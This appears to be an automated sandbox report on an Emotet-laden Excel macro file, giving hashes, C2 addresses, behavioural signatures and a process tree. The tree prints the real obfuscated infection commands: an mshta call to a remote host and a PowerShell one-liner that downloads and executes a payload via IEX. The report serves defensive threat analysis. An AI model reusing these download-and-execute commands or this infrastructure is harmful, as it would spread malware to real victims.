Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 11:11

General

  • Target

    43959768-251327.xlsm

  • Size

    115KB

  • MD5

    d06323156f9db5ba51e46d368bb05b67

  • SHA1

    d3dd5b0885b0a78ff0fbd02acbb95ad7f948fef8

  • SHA256

    45236b922fe0452378bcbc300f48a2aae3cdd17a03fbb9411a36e6540e700086

  • SHA512

    8de223a9301b905b5839d021a205c78f96b25140bac40e874a6d60b42e55d5cc20e11ce0b9f89b5bcab3515f366a747f2c9dd6c5d806116df11f84010d7c7dec

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\43959768-251327.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1328
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1832
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1560
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:900
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  PID:1172
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iolgyciprcuv\lsdmtpzgzw.alr",fhDjVmP
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:808
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iolgyciprcuv\lsdmtpzgzw.alr",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:980

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/808-75-0x00000000001F0000-0x0000000000218000-memory.dmp

      Filesize

      160KB

    • memory/900-68-0x0000000000790000-0x00000000007B8000-memory.dmp

      Filesize

      160KB

    • memory/980-90-0x00000000028D0000-0x00000000028F8000-memory.dmp

      Filesize

      160KB

    • memory/980-92-0x0000000002970000-0x0000000002998000-memory.dmp

      Filesize

      160KB

    • memory/980-97-0x0000000002B20000-0x0000000002B48000-memory.dmp

      Filesize

      160KB

    • memory/980-96-0x0000000002B21000-0x0000000002B45000-memory.dmp

      Filesize

      144KB

    • memory/980-94-0x0000000002A10000-0x0000000002A38000-memory.dmp

      Filesize

      160KB

    • memory/980-88-0x00000000026D0000-0x00000000026F8000-memory.dmp

      Filesize

      160KB

    • memory/980-78-0x00000000002F0000-0x0000000000318000-memory.dmp

      Filesize

      160KB

    • memory/980-80-0x0000000000350000-0x0000000000378000-memory.dmp

      Filesize

      160KB

    • memory/980-82-0x00000000004A0000-0x00000000004C8000-memory.dmp

      Filesize

      160KB

    • memory/980-84-0x0000000000B10000-0x0000000000B38000-memory.dmp

      Filesize

      160KB

    • memory/980-86-0x0000000002630000-0x0000000002658000-memory.dmp

      Filesize

      160KB

    • memory/1328-59-0x000007FEFBF31000-0x000007FEFBF33000-memory.dmp

      Filesize

      8KB

    • memory/1388-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1388-58-0x00000000758A1000-0x00000000758A3000-memory.dmp

      Filesize

      8KB

    • memory/1388-55-0x000000002F7D1000-0x000000002F7D4000-memory.dmp

      Filesize

      12KB

    • memory/1388-56-0x0000000071751000-0x0000000071753000-memory.dmp

      Filesize

      8KB

    • memory/1832-61-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB